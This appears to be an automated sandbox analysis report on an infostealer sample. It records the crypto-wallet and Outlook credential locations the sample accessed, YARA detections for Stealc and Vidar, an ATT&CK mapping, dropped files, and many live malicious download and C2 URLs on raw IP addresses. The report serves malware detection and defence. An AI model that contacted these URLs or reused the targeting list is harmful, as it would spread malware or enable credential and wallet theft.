Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7964, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 8008, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 8188, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0000000F.00000002.2730669215.0000000000BFA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2372338745.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7964, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 8188, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 2.2.E7ZgIS5gIvcD0qYA4MsN8rsr.exe.4365570.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.E7ZgIS5gIvcD0qYA4MsN8rsr.exe.4365570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1833987167.0000000004365000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2457717800.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: E7ZgIS5gIvcD0qYA4MsN8rsr.exe PID: 7788, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7964, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 8008, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 8188, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_690D0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	11_2_690D0B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_690D0D60 sqlite3_bind_parameter_name,	11_2_690D0D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_690D0C40 sqlite3_bind_zeroblob,	11_2_690D0C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68FF8EA0 sqlite3_clear_bindings,	11_2_68FF8EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68FF60B0 listen,WSAGetLastError,	11_2_68FF60B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68FF6070 PR_Listen,	11_2_68FF6070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68FFC050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	11_2_68FFC050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68FFC030 sqlite3_bind_parameter_count,	11_2_68FFC030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F822D0 sqlite3_bind_blob,	11_2_68F822D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68FF63C0 PR_Bind,	11_2_68FF63C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68FF6410 bind,WSAGetLastError,	11_2_68FF6410

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Windows Management Instrumentation	1 Scripting	1 Abuse Elevation Control Mechanism	211 Disable or Modify Tools	2 OS Credential Dumping	12 System Time Discovery	Remote Services	1 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 Credential API Hooking	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Shared Modules	11 Scheduled Task/Job	611 Process Injection	1 Abuse Elevation Control Mechanism	11 Input Capture	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	113 Command and Scripting Interpreter	Login Hook	11 Scheduled Task/Job	4 Obfuscated Files or Information	NTDS	148 System Information Discovery	Distributed Component Object Model	1 Email Collection	125 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	11 Scheduled Task/Job	Network Logon Script	Network Logon Script	2 Software Packing	LSA Secrets	161 Security Software Discovery	SSH	1 Credential API Hooking	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	1 PowerShell	RC Scripts	RC Scripts	1 Timestomp	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	11 Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 File Deletion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	21 Masquerading	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Modify Registry	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	141 Virtualization/Sandbox Evasion	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	611 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	1 Hidden Files and Directories	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
gHPYUEh253.exe	61%	ReversingLabs	Win64.Trojan.Acll
gHPYUEh253.exe	38%	Virustotal		Browse
gHPYUEh253.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\l2[1].exe	100%	Avira	HEUR/AGEN.1304053
C:\ProgramData\CBFCFBFBFB.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66c9d3bd31e56_otraba[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66c1c5838f95f_file1808[1].exe	100%	Joe Sandbox ML
C:\ProgramData\CBFCFBFBFB.exe	74%	ReversingLabs	Win32.Ransomware.RedLine
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\ProgramData\xprfjygruytr\etzpikspwykg.exe	88%	ReversingLabs	Win64.Trojan.Casdet
C:\Users\userAFCBFIJEHD.exe	34%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\userCAAKFIIDGI.exe	79%	ReversingLabs	Win32.Trojan.Privateloader
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66d0cd9755a01_sbwd[1].exe	75%	ReversingLabs	Win32.Trojan.Privateloader
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66d0cd9a65b5d_vqwergf[1].exe	79%	ReversingLabs	Win32.Trojan.Privateloader
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66d0502b12496_MKna[1].exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66c9d3bd31e56_otraba[1].exe	96%	ReversingLabs	Win32.Trojan.Privateloader
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66d0cd8fb6f7b_lgjfd[1].exe	34%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66d0cd9a65b5d_vqwergf[1].exe	79%	ReversingLabs	Win32.Trojan.Privateloader
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66c1c5838f95f_file1808[1].exe	100%	ReversingLabs	Win32.Infostealer.BlackMoon
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66c6fcb30b9dd_123p[1].exe	88%	ReversingLabs	Win64.Trojan.Casdet
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\l2[1].exe	74%	ReversingLabs	Win32.Ransomware.RedLine
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[2].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	50%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\main\7z.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\7z.exe	0%	ReversingLabs
C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	75%	ReversingLabs	Win32.Trojan.Privateloader
C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	100%	ReversingLabs	Win32.Infostealer.BlackMoon
C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	79%	ReversingLabs	Win32.Trojan.Privateloader
C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe	88%	ReversingLabs	Win64.Trojan.Casdet
C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	96%	ReversingLabs	Win32.Trojan.Privateloader

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
joxi.net	1%	Virustotal	Browse
api.myip.com	0%	Virustotal	Browse
yip.su	6%	Virustotal	Browse
aldiablo.cl	18%	Virustotal	Browse
cdn.discordapp.com	1%	Virustotal	Browse
ipinfo.io	0%	Virustotal	Browse
stadiatechnologies.com	9%	Virustotal	Browse
file-link-iota.vercel.app	8%	Virustotal	Browse
240812161425945.tyr.zont16.com	5%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ipinfo.io/	0%	URL Reputation	safe
https://t.me/iyigunl	100%	Avira URL Cloud	malware
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://147.45.44.104/revada/66c6fcb30b9dd_123p.exe	100%	Avira URL Cloud	malware
http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#space4	100%	Avira URL Cloud	malware
http://147.45.68.138:80HC	0%	Avira URL Cloud	safe
http://www.openssl.org/support/faq.html	0%	URL Reputation	safe
https://login.microsoftonline.com	0%	URL Reputation	safe
http://147.45.68.138/nss3.dll	100%	Avira URL Cloud	malware
http://240812161425945.tyr.zont16.com/f/fikbam0812945.exeC:	0%	Avira URL Cloud	safe
https://aka.ms/msal-client-apps	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66d0cd8fb6f7b_lgjfd.exexeU	0%	Avira URL Cloud	safe
http://147.45.68.138/nss3.dll	15%	Virustotal		Browse
https://aka.ms/msal-client-apps	0%	Virustotal		Browse
http://193.176.190.41/9e7fbd3f0393ef32/msvcp140.dllu	100%	Avira URL Cloud	malware
https://t.me/iyigunl	3%	Virustotal		Browse
http://147.45.44.104/revada/66c6fcb30b9dd_123p.exe	23%	Virustotal		Browse
https://aka.ms/adal-net-broker-redirect-uri-android	0%	Avira URL Cloud	safe
https://aka.ms/msal-net-enable-keychain-access	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#spacesotr	100%	Avira URL Cloud	malware
https://file-link-iota.vercel.app/z#	100%	Avira URL Cloud	malware
http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#space$	100%	Avira URL Cloud	malware
https://aka.ms/msal-net-enable-keychain-access	0%	Virustotal		Browse
http://46.8.231.109/1309cdeb8f4c8736/mozglue.dlla	100%	Avira URL Cloud	malware
http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#spacesotr	24%	Virustotal		Browse
https://aka.ms/adal-net-broker-redirect-uri-android	0%	Virustotal		Browse
https://locatedblsoqp.shop/api	100%	Avira URL Cloud	malware
http://147.45.68.138:80GH	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#space$	24%	Virustotal		Browse
http://195.10.205.48/$$G	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/soap/http	0%	Avira URL Cloud	safe
http://www.softwareok.de/?Download=MagicMouseTrails	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#space4	24%	Virustotal		Browse
https://sso2urn:ietf:wg:oauth:2.0:oob	0%	Avira URL Cloud	safe
https://locatedblsoqp.shop/api	19%	Virustotal		Browse
https://aka.ms/msal-net-up	0%	Avira URL Cloud	safe
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	100%	Avira URL Cloud	malware
http://schemas.xmlsoap.org/soap/http	0%	Virustotal		Browse
http://147.45.68.138:80	0%	Avira URL Cloud	safe
http://www.softwareok.de/?Download=MagicMouseTrails	0%	Virustotal		Browse
http://46.8.231.109/c4754d4f680ead72.phpDo6	100%	Avira URL Cloud	malware
https://aka.ms/msal-net-up	0%	Virustotal		Browse
http://147.45.44.104/prog/66c1c5838f95f_file1808.exe#fileotr	100%	Avira URL Cloud	malware
http://147.45.44.104/malesa/66c9d3bd31e56_otraba.exe#kisotrll	100%	Avira URL Cloud	malware
http://147.45.68.138:80.exe	0%	Avira URL Cloud	safe
https://login.microsoftonline.de	100%	Avira URL Cloud	phishing
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	19%	Virustotal		Browse
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66d0cd9a65b5d_vqwergf.exe	100%	Avira URL Cloud	malware
http://147.45.68.138:80	11%	Virustotal		Browse
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	0%	Avira URL Cloud	safe
http://194.58.114.223/d/525403C:	0%	Avira URL Cloud	safe
http://147.45.68.138/1	0%	Avira URL Cloud	safe
http://240812161425945.tyr.zont16.com/f/fikbam0812945.exe	100%	Avira URL Cloud	malware
http://147.45.44.104/prog/66d0cd9a65b5d_vqwergf.exe#space	100%	Avira URL Cloud	malware
http://147.45.68.138:80.0.3279	0%	Avira URL Cloud	safe
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	0%	Avira URL Cloud	safe
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dllE	100%	Avira URL Cloud	malware
http://147.45.44.104/malesa/66c9d3bd31e56_otraba.exe#kisotrll	23%	Virustotal		Browse
http://147.45.68.138/9	0%	Avira URL Cloud	safe
https://file-link-iota.vercel.app:80/ffernifre.exes	100%	Avira URL Cloud	malware
http://193.176.190.41/9e7fbd3f0393ef32/softokn3.dll	100%	Avira URL Cloud	malware
Http://147.45.68.138:80/sql.dllent-Disposition:	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66c1c5838f95f_file1808.exe#fileotr	24%	Virustotal		Browse
https://aka.ms/msal-net-application-configuration.	0%	Avira URL Cloud	safe
http://147.45.68.138/E	0%	Avira URL Cloud	safe
http://147.45.68.138/sql.dllTC	0%	Avira URL Cloud	safe
http://46.8.231.109/c4754d4f680ead72.phpry=----BAEGCGCGIEGDHIDHJJEHultrelease	100%	Avira URL Cloud	malware
https://cdn.discordapp.com/attachments/1272461485628719179/1278913735322505227/setup.exe?ex=66d288bb	0%	Avira URL Cloud	safe
http://193.176.190.41/p0	100%	Avira URL Cloud	malware
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	0%	Avira URL Cloud	safe
https://yip.su:443/1cN8u7	100%	Avira URL Cloud	phishing
http://147.45.68.138/Y	0%	Avira URL Cloud	safe
http://147.45.44.104/revada/66c6fcb30b9dd_123p.exeC:	0%	Avira URL Cloud	safe
http://240812161425945.tyr.zont16.com/f/fikbam0812945.exerP	0%	Avira URL Cloud	safe
https://aldiablo.cl/	0%	Avira URL Cloud	safe
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll3	100%	Avira URL Cloud	malware
http://195.10.205.48/	0%	Avira URL Cloud	safe
http://193.176.190.41/9e7fbd3f0393ef32/mozglue.dll	100%	Avira URL Cloud	malware
https://aka.ms/adal_token_cache_serializationdFailed	0%	Avira URL Cloud	safe
https://ipinfo.io:443/widget/demo/8.46.123.33	0%	Avira URL Cloud	safe
http://147.45.68.138/ER	0%	Avira URL Cloud	safe
http://www.softwareok.com/?seite=Microsoft/MagicMouseTrails	0%	Avira URL Cloud	safe
http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dllS	100%	Avira URL Cloud	malware
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66d0cd9a65b5d_vqwergf.exe#spacelb	100%	Avira URL Cloud	malware
http://194.58.114.223/d/525403v	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#spaceC:	100%	Avira URL Cloud	malware
http://193.176.190.41/9e7fbd3f0393ef32/softokn3.dllI	100%	Avira URL Cloud	malware
http://147.45.68.138/	0%	Avira URL Cloud	safe
https://aka.ms/adal_token_cache_serialization	0%	Avira URL Cloud	safe
https://file-link-iota.vercel.app:80/ffernifre.exesV	100%	Avira URL Cloud	malware
http://193.176.190.41/2fa883eebd632382.phption:	100%	Avira URL Cloud	malware
http://193.176.190.41x	0%	Avira URL Cloud	safe
https://login.chinacloudapi.cn	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
joxi.net	188.114.97.3	true	true	1%, Virustotal, Browse	unknown
api.myip.com	104.26.8.59	true	false	0%, Virustotal, Browse	unknown
yip.su	188.114.97.3	true	true	6%, Virustotal, Browse	unknown
aldiablo.cl	186.64.114.115	true	false	18%, Virustotal, Browse	unknown
ipinfo.io	34.117.59.81	true	false	0%, Virustotal, Browse	unknown
cdn.discordapp.com	162.159.130.233	true	false	1%, Virustotal, Browse	unknown
file-link-iota.vercel.app	76.76.21.123	true	false	8%, Virustotal, Browse	unknown
stadiatechnologies.com	95.164.119.162	true	true	9%, Virustotal, Browse	unknown
240812161425945.tyr.zont16.com	unknown	unknown	true	5%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://147.45.68.138/nss3.dll	true	15%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://147.45.44.104/revada/66c6fcb30b9dd_123p.exe	true	23%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://locatedblsoqp.shop/api	true	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	true	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://147.45.44.104/prog/66c1c5838f95f_file1808.exe#fileotr	false	24%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://147.45.44.104/prog/66d0cd9a65b5d_vqwergf.exe	false	Avira URL Cloud: malware	unknown
http://147.45.44.104/prog/66d0cd9a65b5d_vqwergf.exe#space	false	Avira URL Cloud: malware	unknown
http://193.176.190.41/9e7fbd3f0393ef32/softokn3.dll	true	Avira URL Cloud: malware	unknown
http://193.176.190.41/9e7fbd3f0393ef32/mozglue.dll	true	Avira URL Cloud: malware	unknown
http://147.45.68.138/	true	Avira URL Cloud: safe	unknown
http://147.45.68.138/softokn3.dll	true	Avira URL Cloud: malware	unknown
http://46.8.231.109/	true	Avira URL Cloud: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/nss3.dll	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2730669215.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://t.me/iyigunl	E7ZgIS5gIvcD0qYA4MsN8rsr.exe, 00000002.00000002.1833987167.0000000004365000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2457717800.0000000000400000.00000040.00000400.00020000.00000000.sdmp	true	3%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2730669215.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://147.45.68.138:80HC	RegAsm.exe, 0000000C.00000002.2457717800.000000000047E000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#space4	gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp	true	24%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://240812161425945.tyr.zont16.com/f/fikbam0812945.exeC:	gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
